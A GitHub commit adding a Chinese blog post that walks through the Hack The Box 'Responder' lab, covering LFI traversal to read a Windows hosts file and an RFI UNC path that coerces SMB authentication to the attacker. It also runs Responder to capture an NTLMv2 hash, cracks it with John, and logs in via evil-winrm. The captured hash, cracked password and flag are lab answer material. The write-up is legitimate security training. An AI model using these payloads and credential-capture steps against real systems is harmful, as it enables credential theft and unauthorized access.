Skip to content

Commit 16b3813

Browse files
committed
Add new post
HTB: Starting Point - Responder
1 parent 1b6eeeb commit 16b3813

7 files changed

Lines changed: 223 additions & 0 deletions

File tree

903 KB
Loading
110 KB
Loading
Lines changed: 223 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,223 @@
1+
---
2+
title: "Hack The Box: Starting Point - Responder"
3+
published: 2025-05-28 14:34:45
4+
updated: 2025-05-28 14:34:45
5+
description: ""
6+
image: ""
7+
tags:
8+
- RFI
9+
- NTLM
10+
- WinRM
11+
category: Hack The Box
12+
lang: ""
13+
pinned: false
14+
---
15+
16+
這篇文章記錄了我打 Starting Point 中 Responder 靶機的過程,其中利用 Responder 攔截 NTLM hash 爆破的技巧也是第一次認識,故想透過撰寫此文章來加深對這個利用方式的印象。
17+
18+
打靶機的過程大致上如下:
19+
20+
- 利用 RFI 漏洞向 Kali 發送 SMB 的存取請求
21+
- Responder 攔截 NTLM 雜湊
22+
- John The Ripper 線下爆破密碼
23+
- evil-winrm 遠端存取主機並取得 flag
24+
25+
## Reconnaissance
26+
27+
首先要先了解我們的目標,上面開了那些 port?哪些服務?方便我們後續枚舉可能的弱點。
28+
29+
```shell
30+
sudo nmap -p- --min-rate 1000 -sV -v -oA initial 10.129.241.9
31+
```
32+
33+
在這裡設定 `--min-rate 1000` 加速 Nmap 的掃描、`-sV` 掃描服務的版本,指定 `-p-` 掃描所有 port。
34+
35+
```shell
36+
cat initial.nmap
37+
# Nmap 7.95 scan initiated Wed May 28 02:58:38 2025 as: /usr/lib/nmap/nmap -p- --min-rate 1000 -sV -v -oA initial 10.129.241.9
38+
Nmap scan report for 10.129.241.9
39+
Host is up (0.31s latency).
40+
Not shown: 65532 filtered tcp ports (no-response)
41+
PORT STATE SERVICE VERSION
42+
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
43+
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
44+
7680/tcp open pando-pub?
45+
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
46+
47+
Read data files from: /usr/share/nmap
48+
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
49+
# Nmap done at Wed May 28 03:01:57 2025 -- 1 IP address (1 host up) scanned in 199.57 seconds
50+
```
51+
52+
從掃描的結果來看,我們得知目標主機是 Windows,有開網頁服務(port 80)。Port 5985 是 Windows Remote Management (WinRM) 服務的默認通訊埠,它使用 HTTP 協議進行通訊,這對後續可能的遠程訪問非常重要。而 port 7680 經過搜尋得知,是 Windows 用來傳遞最佳化的(Delivery Optimization)通訊 port。
53+
54+
嘗試打開瀏覽器瀏覽網頁,會發現網址列被重新導向到 <http://unika.htb/> ,而且網頁沒辦法正常顯示。這是因為我們的系統無法解析 unika.htb 這個域名。這種情況下,我們可以透過修改主機的 `/etc/hosts` 檔案來偽造 DNS 解析。
55+
56+
![修改 /etc/hosts](change_dns.png)
57+
58+
之後重新刷新頁面,就可以正常存取網頁了。
59+
60+
![成功存取網頁](access_web_page.png)
61+
62+
> **Task 1**
63+
>
64+
> When visiting the web service using the IP address, what is the domain that we are being redirected to?
65+
66+
Ans: unika.htb
67+
68+
## Fuzzing
69+
70+
在四處逛逛網站後,發現除了切換語言的功能外,其他都只是在同一個頁面而已。而且切換語言的網址參數,除了讓我們知道這是 PHP 寫的網站外,還有一股濃濃的 LFI(Local File Include)味。LFI 是一種常見的網站漏洞,允許攻擊者讀取伺服器上的任意檔案,通常是透過操縱網址參數來實現的。
71+
72+
![網址參數](url_param.png)
73+
74+
從網址列可以看到,網站使用 `page` 參數來載入不同的頁面內容,例如 `?page=french.html`。如果網站沒有妥善過濾這個參數,攻擊者可能能夠存取系統上的其他檔案。
75+
76+
> **Task 2**
77+
>
78+
> Which scripting language is being used on the server to generate webpages?
79+
80+
Ans: php
81+
82+
此時,Task 4 很貼心地告訴我們可以試試那些路徑。
83+
84+
> **Task 4**
85+
>
86+
> Which of the following values for the `page` parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
87+
88+
Ans: `../../../../../../../../windows/system32/drivers/etc/hosts`
89+
90+
當我們訪問 `http://unika.htb/?page=../../../../../../../../windows/system32/drivers/etc/hosts` 時,網頁顯示了目標系統的 hosts 文件內容,這證實了 LFI 漏洞的存在。這種漏洞允許我們讀取伺服器上的任意檔案。
91+
92+
![LFI 漏洞測試](lfi_vuln.png)
93+
94+
Task 5 則是問 RFI 的可能,如果能製造 SMB 存取 `//<ip>/<file>`,就有辦法達成。
95+
96+
> **Task 5**
97+
>
98+
> Which of the following values for the `page` parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
99+
100+
Ans: `//10.10.14.6/somefile`
101+
102+
RFI(Remote File Include)與 LFI 類似,但它允許攻擊者從外部服務器加載文件,而不僅僅是本地文件。在 Windows 環境中,當系統嘗試通過 SMB 協議訪問如 `//10.10.14.6/somefile` 的路徑時,Windows 會自動發送認證信息到指定的 IP 地址。這是我們接下來要利用的關鍵。
103+
104+
## Exploit
105+
106+
> **Task 6**
107+
>
108+
> What does NTLM stand for?
109+
110+
Ans: New Technology LAN Manager
111+
112+
Task 7 是在問 [Responder](https://github.com/SpiderLabs/Responder) 的使用方式,在 GitHub README 底下的 Usage 有介紹。
113+
114+
> **Task 7**
115+
>
116+
> Which flag do we use in the Responder utility to specify the network interface?
117+
118+
Ans: `-I`
119+
120+
此時可以猜測題目應該是希望我們用 Responder 做些什麼。
121+
122+
::: note[ChatGPT]
123+
Responder 是一個用於內網的 LLMNR/NBT-NS/MDNS 偽造與憑證攔截工具,由 SpiderLabs 開發。它可以攔截來自受害者主機對內部資源名稱解析失敗時所發出的廣播封包,進而誘騙其將認證資料發送給攻擊者。
124+
:::
125+
126+
我們先啟動 responder 接收傳送過來的 challenge,接著透過 `ip a` 找到對應網路介面的 ip,用 LFI 那向 Kali 請求 SMB,就可以拿到 NTLM hash。
127+
128+
```shell
129+
sudo responder -I tun0
130+
```
131+
132+
在 Responder 啟動後,我們需要讓目標伺服器嘗試訪問我們的 SMB 共享。這可以通過訪問 URL `http://unika.htb/?page=//10.10.14.211/somefile` 來實現,其中 10.10.14.211 是我們 tun0 介面的 IP 地址。
133+
134+
```shell
135+
ip a
136+
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
137+
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
138+
inet 127.0.0.1/8 scope host lo
139+
valid_lft forever preferred_lft forever
140+
inet6 ::1/128 scope host noprefixroute
141+
valid_lft forever preferred_lft forever
142+
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
143+
link/ether 00:0c:29:27:59:74 brd ff:ff:ff:ff:ff:ff
144+
inet 192.168.238.136/24 brd 192.168.238.255 scope global dynamic noprefixroute eth0
145+
valid_lft 1164sec preferred_lft 1164sec
146+
inet6 fe80::1bad:92f9:1caa:d55e/64 scope link noprefixroute
147+
valid_lft forever preferred_lft forever
148+
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
149+
link/none
150+
inet 10.10.14.211/23 scope global tun0
151+
valid_lft forever preferred_lft forever
152+
inet6 dead:beef:2::10d1/64 scope global
153+
valid_lft forever preferred_lft forever
154+
inet6 fe80::1b3f:7c6d:766d:61d3/64 scope link stable-privacy proto kernel_ll
155+
valid_lft forever preferred_lft forever
156+
```
157+
158+
當目標伺服器嘗試訪問我們的 SMB 共享時,Windows 會自動發送 NTLM 認證。Responder 會攔截這些認證資訊,並顯示 NTLMv2 Hash:
159+
160+
```shell
161+
[SMB] NTLMv2-SSP Client : 10.129.241.9
162+
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
163+
[SMB] NTLMv2-SSP Hash : Administrator::RESPONDER:c82e9172cb2055ac:DF80ECEC344B3438059F3EA98402AFD0:010100000000000080A50DD883CFDB01B027F078E1C1CAD30000000002000800580045005800500001001E00570049004E002D004B0034005600480031003800320055004B005200410004003400570049004E002D004B0034005600480031003800320055004B00520041002E0058004500580050002E004C004F00430041004C000300140058004500580050002E004C004F00430041004C000500140058004500580050002E004C004F00430041004C000700080080A50DD883CFDB01060004000200000008003000300000000000000001000000002000008BC6BD2BAA6A8C55F64809FC9B6533243065873B3A9D284456405EE4E21811460A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003200310031000000000000000000
164+
```
165+
166+
## Password Cracking
167+
168+
收到 NTLM hash 後,就可以嘗試使用 John The Ripper 線下爆破。
169+
170+
> **Task 8**
171+
>
172+
> There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as `john`, but the full name is what?.
173+
174+
Ans: John The Ripper
175+
176+
首先,我們將剛才獲取的 NTLMv2 Hash 保存到 `hashes.txt` 文件中,然後使用 John The Ripper 工具和常見密碼字典(rockyou.txt)進行爆破:
177+
178+
```shell
179+
john --format=netntlmv2 hashes.txt -w /usr/wordlists/rockyou.txt
180+
```
181+
182+
John The Ripper 會嘗試字典中的每個密碼,直到找到一個匹配的。在這個案例中,成功破解出管理員密碼為 "badminton"。
183+
184+
> **Task 9**
185+
>
186+
> What is the password for the administrator user?
187+
188+
Ans: badminton
189+
190+
## Access Target
191+
192+
> **Task 10**
193+
>
194+
> We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
195+
196+
Ans: 5985
197+
198+
拿到密碼後,我們可以嘗試登入 WinRM。
199+
200+
> Evil-WinRM 是一個專門設計來與目標 Windows 主機上的 WinRM 服務互動的工具,允許滲透測試人員或紅隊人員:
201+
>
202+
> - 登入目標機(如取得 Administrator 密碼)
203+
> - 上傳 / 下載檔案
204+
> - 執行指令、PowerShell 腳本
205+
> - 植入 payload、Dump hash、提權腳本等
206+
207+
我們使用以下命令連接到目標主機的 WinRM 服務:
208+
209+
```shell
210+
sudo evil-winrm -i 10.129.241.9 -u Administrator -p badminton
211+
```
212+
213+
連接成功後,我們就可以在目標系統上執行命令並瀏覽文件系統。使用 `ls` 命令查看當前目錄,然後切換到 Administrator 的桌面來尋找 flag 文件。
214+
215+
登入對方主機後,可以看到除了管理員還有其他使用者,然後就在他桌上找到 flag 了。
216+
217+
![登入 WinRM 獲取 flag](win_rm.png)
218+
219+
> **Submit Flag**
220+
>
221+
> Submit root flag
222+
223+
Ans: `ea81b7afddd03efaa0945333ed147fac`
128 KB
Loading
91.7 KB
Loading
32.1 KB
Loading
602 KB
Loading

0 commit comments

Comments
 (0)